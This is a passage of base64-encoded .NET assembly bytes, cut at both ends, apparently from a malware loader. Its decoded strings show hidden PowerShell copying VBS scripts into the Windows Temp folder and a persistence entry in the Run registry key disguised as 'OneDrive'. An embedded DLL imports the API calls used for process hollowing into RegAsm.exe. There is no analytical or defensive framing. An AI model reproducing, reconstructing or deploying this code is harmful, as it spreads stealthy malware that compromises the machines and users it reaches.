W9uAE15QXBwbGljYXRpb24AU3lzdGVtLkNvbmZpZ3VyYXRpb24AU3lzdGVtLkdsb2JhbGl6YXRpb24AU3lzdGVtLlJlZmxlY3Rpb24ARXhjZXB0aW9uAFJ1bgBNZXRob2RJbmZvAEN1bHR1cmVJbmZvAHNldF9TdGFydEluZm8AUHJvY2Vzc1N0YXJ0SW5mbwBtX0FwcE9iamVjdFByb3ZpZGVyAG1fVXNlck9iamVjdFByb3ZpZGVyAG1fQ29tcHV0ZXJPYmplY3RQcm92aWRlcgBtX015V2ViU2VydmljZXNPYmplY3RQcm92aWRlcgBnZXRfUmVzb3VyY2VNYW5hZ2VyAFN5c3RlbS5Db2RlRG9tLkNvbXBpbGVyAGdldF9Vc2VyAEN1cnJlbnRVc2VyAGdldF9Db21wdXRlcgBNeUNvbXB1dGVyAENsZWFyUHJvamVjdEVycm9yAFNldFByb2plY3RFcnJvcgBBY3RpdmF0b3IALmN0b3IALmNjdG9yAFN5c3RlbS5EaWFnbm9zdGljcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuRGV2aWNlcwBnZXRfV2ViU2VydmljZXMATXlXZWJTZXJ2aWNlcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQXBwbGljYXRpb25TZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkNvbXBpbGVyU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBTeXN0ZW0uUmVzb3VyY2VzAENsYXNzTGlicmFyeTMuTXkuUmVzb3VyY2VzAENsYXNzTGlicmFyeTMuUmVzb3VyY2VzLnJlc291cmNlcwBEZWJ1Z2dpbmdNb2RlcwBTdHJpbmdzAGdldF9TZXR0aW5ncwBNeVNldHRpbmdzAFJlZmVyZW5jZUVxdWFscwBSdW50aW1lSGVscGVycwBQcm9jZXNzAHNldF9Bcmd1bWVudHMARXhpc3RzAENvbmNhdABHZXRPYmplY3QATXlQcm9qZWN0AFN5c3RlbS5OZXQAZ2V0X0RlZmF1bHQAV2ViQ2xpZW50AFN0YXJ0AENvbnZlcnQAbV9Db250ZXh0AENsYXNzTGlicmFyeTMuTXkAT3Blb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AB8AwAAhwMAAKADAACxAwAAzwMAAPUDAAA4EgQAABESLBMIcj0AAHADKCUAAAoMFzg3////Agh+JgAACn4mAAAKFhp+JgAAChQSAxIEKBAAAAYW/gETExg4D////xETLAZzJwAACnoEHzwoKAAAChMFGTj1/v//BBEFHzTWKCgAAAoTBho44v7//yCzAAAAjQoAAAETBxs40P7//xEHFiACAAEAnhw4wf7//ygpAAAKGv4BExQdOLH+//8RFCwlEQR7CgAABBEHKBEAAAYW/gETFR44lP7//xEVLAZzJwAACnorJBEEewoAAAQRBygSAAAGFv4BExYfCThu/v//ERYsBnMnAAAKehEHHymUEwgfCjhW/v//EQR7CQAABBEIHtYSCRoSASgVAAAGFv4BExcfCzg1/v//ERcsBnMnAAAKehEGEQn+ARMYHww4HP7//xEYLCQRBHsJAAAEEQkoFwAABhb+AxMZHw04/v3//xEZLAZzJwAACnoEEQUfUNYoKAAAChMKHw444P3//wQRBR9U1igoAAAKEwsfDzjM/f//EQR7CQAABBEGEQogADAAAB9AKBgAAAYTDR8QOKz9//8FLQcRDRb+ASsBFhMaHxE4mP3//xEaLCkXEwwfEjiK/f//EQR7CQAABBYRCiAAMAAAH0AoGAAABhMNHxM4a/3//xENFv4BExsfFDhd/f//ERssBnMnAAAKehEEewkAAAQRDQQRCxIBKBYAAAYW/gETHB8VODT9//8RHCwGcycAAAp6EQUg+AAAANYTDh8WOBn9//8EEQUc1igqAAAKEw8fFzgG/f//EQ8X2hMdHxg4+fz//xYTHh8ZOO/8//84uwAAAAQRDh8M1igoAAAKEx8fGjjW/P//BBEOHxDWKCgAAAoTIB8bOML8//8EEQ4fFNYoKAAAChMhHxw4rvz//xEgFv4DEyIfHTig/P//ESIsWREgF9oX1o0bAAABEyMfHjiI/P//BBEhESMWESOOaSgrAAAKHx84cvz//xEEewkAAAQRDREf1hEjESOOaRIBKBYAAAYW/gETJB8gOE38//8RJCwGcycAAAp6EQ4fKNYTDh8hODX8//8RHhfWEx4RHhEdPjz///8RDSgsAAAKExAfIjgW/P//EQR7CQAABBEIHtYREBoSASgWAAAGFv4BEyUfIzj1+///ESUsBnMnAAAKegQRB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AAAAAAAAAAAAJIBqgYAAAAAAAAAAAEAAADOCQAACQAEAAoABAALAAgADAAIAAAAEAAUAEcBAAAQAEEARwEAAAAAQwBHASUAdwElAIQBAAAAQ29udGV4dFZhbHVlYDEAVGhyZWFkU2FmZU9iamVjdFByb3ZpZGVyYDEAUmVzZXJ2ZWQxAENsYXNzMQBDbGFzc0xpYnJhcnkxAFRvSW50MzIAY2JSZXNlcnZlZDIAVG9JbnQxNgA8TW9kdWxlPgBSZXN1bWVUaHJlYWRfQVBJAE50VW5tYXBWaWV3T2ZTZWN0aW9uX0FQSQBDcmVhdGVQcm9jZXNzX0FQSQBXb3c2NEdldFRocmVhZENvbnRleHRfQVBJAFdvdzY0U2V0VGhyZWFkQ29udGV4dF9BUEkAVmlydHVhbEFsbG9jRXhfQVBJAFJlYWRQcm9jZXNzTWVtb3J5X0FQSQBXcml0ZVByb2Nlc3NNZW1vcnlfQVBJAFNUQVJUVVBfSU5GT1JNQVRJT04AUFJPQ0VTU19JTkZPUk1BVElPTgBUAGR3WABkd1kARGlzcG9zZV9fSW5zdGFuY2VfXwBDcmVhdGVfX0luc3RhbmNlX18AU2l6ZV8AUHJvamVjdERhdGEAZGF0YQBtc2NvcmxpYgBNaWNyb3NvZnQuVmlzdWFsQmFzaWMAVGhyZWFkSWQAUHJvY2Vzc0lkAEdldFByb2Nlc3NCeUlkAGJ5dGVzUmVhZABSZXN1bWVUaHJlYWQAdGhyZWFkAFN5bmNocm9uaXplZABjbWQAQ3JlYXRlSW5zdGFuY2UAZ2V0X0dldEluc3RhbmNlAGRlZmF1bHRJbnN0YW5jZQBpbnN0YW5jZQBHZXRIYXNoQ29kZQBjb21wYXRpYmxlAFRocmVhZEhhbmRsZQBSdW50aW1lVHlwZUhhbmRsZQBHZXRUeXBlRnJvbUhhbmRsZQBQcm9jZXNzSGFuZGxlAGhhbmRsZQBUaXRsZQBhcHBsaWNhdGlvbk5hbWUAY29tbWFuZExpbmUAVmFsdWVUeXBlAEdldFR5cGUAdHlwZQBnZXRfQ3VsdHVyZQBzZXRfQ3VsdHVyZQByZXNvdXJjZUN1bHR1cmUAQXBwbGljYXRpb25CYXNlAEFwcGxpY2F0aW9uU2V0dGluZ3NCYXNlAEVkaXRvckJyb3dzYWJsZVN0YXRlAENvbXBpbGVyR2VuZXJhdGVkQXR0cmlidXRlAEd1aWRBdHRyaWJ1dGUASGVscEtleXdvcmRBdHRyaWJ1dGUAR2VuZXJhdGVkQ29kZUF0dHJpYnV0ZQBEZWJ1Z2dlck5vblVzZXJDb2RlQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUARWRpdG9yQnJvd3NhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBTdGFuZGFyZE1vZHVsZUF0dHJpYnV0ZQBIaWRlTW9kdWxlTmFtZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAZHdGaWxsQXR0cmlidXRlAERlYnVnZ2VySGlkZGVuQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAT2JmdXNjYXRpb25BdHRyaWJ1dGUATXlHcm91cENvbGxlY3Rpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBZYW5vQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBTdXBwcmVzc1VubWFuYWdlZENvZGVTZWN1cml0eUF0dHJpYnV0ZQBCeXRlAGdldF9WYWx1ZQBzZXRfVmFsdWUAR2V0T2JqZWN0VmFsdWUAZHdYU2l6ZQBkd1lTaXplAGdldF9TaXplAGJ1ZmZlclNpemUAU2l6ZU9mAFN5c3RlbS5SdW50aW1lLlZlcnNpb25pbmcAVG9TdHJpbmcAcGF0aABsZW5ndGgATWFyc2hhbABNaWNyb3NvZnQuVmlzdWFsQmFzaWMuTXlTZXJ2aWNlcy5JbnRlcm5hbABTeXN0ZW0uQ29tcG9uZW50TW9kZWwAQ2xhc3NMaWJyYXJ5MS5kbGwAa2VybmVsMzIuZGxsAG50ZGxsLmRsbABLaWxsAFN5c3RlbQByZXNvdXJjZU1hbgBCb29sZWFuAGJ5dGVzV3JpdHRlbgBTeXN0ZW0uQ29tcG9uZW50TW9kZWwuRGVzaWduAFZlcnNpb24AZ2V0X0FwcGxpY2F0aW9uAE15QXBwbGljYXRpb24AcHJvY2Vzc0luZm9ybWF0aW9uAFN5c3RlbS5Db25maWd1cmF0aW9uAFN5c3RlbS5HbG9iYWxpemF0aW9uAE50VW5tYXBWaWV3T2ZTZWN0aW9uAFN5c3RlbS5SZWZsZWN0aW9uAEV4Y2VwdGlvbgBIYW5kbGVSdW4AQ3VsdHVyZUluZm8Ac3RhcnR1cEluZm8AWmVybwBEZXNrdG9wAG1fQXBwT2JqZWN0UHJvdmlkZXIAbV9Vc2VyT2JqZWN0UHJvdmlkZXIAbV9Db21wdXRlck9iamVjdFByb3ZpZGVyAG1fTXlXZWJTZXJ2aWNlc09iamVjdFByb3ZpZGVyAEJ1ZmZlcgBidWZmZXIAZ2V0X1Jlc291cmNlTWFuYWdlcgBTeXN0ZW0uQ29kZURvbS5Db21waWxlcgBnZXRfVXNlcgBCaXRDb252ZXJ0ZXIAZ2V0X0NvbXB1dGVyAE15Q29tcHV0ZXIAU3RkRXJyb3IAQ2xlYXJQcm9qZWN0RXJyb3IAU2V0UHJvamVjdEVycm9yAEFjdGl2YXRvcgAuY3RvcgAuY2N0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuRGV2aWNlcwBnZXRfV2ViU2VydmljZXMATXlXZWJTZXJ2aWNlcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQXBwbGljYXRpb25TZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkNvbXBpbGVyU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBTeXN0ZW0uUmVzb3VyY2VzAENsYXNzTGlicmFyeTEuTXkuUmVzb3VyY2VzAENsYXNzTGlicmFyeTEuUmVzb3VyY2VzLnJlc291cmNlcwBEZWJ1Z2dpbmdNb2RlcwBpbmhlcml0SGFuZGxlcwB0aHJlYWRBdHRyaWJ1dGVzAHByb2Nlc3NBdHRyaWJ1dGVzAEdldEJ5dGVzAGNyZWF0aW9uRmxhZ3MAZHdGbGFncwBnZXRfU2V0dGluZ3MATXlTZXR0aW5ncwBSZWZlcmVuY2VFcXVhbHMAZHdYQ291bnRDaGFycwBkd1lDb3VudENoYXJzAFJ1bnRpbWVIZWxwZXJzAENyZWF0ZVByb2Nlc3MAcHJvY2VzcwBiYXNlQWRkcmVzcwBhZGRyZXNzAENvbmNhdABGb3JtYXQAT2JqZWN0AE15UHJvamVjdABwcm90ZWN0AGdldF9EZWZhd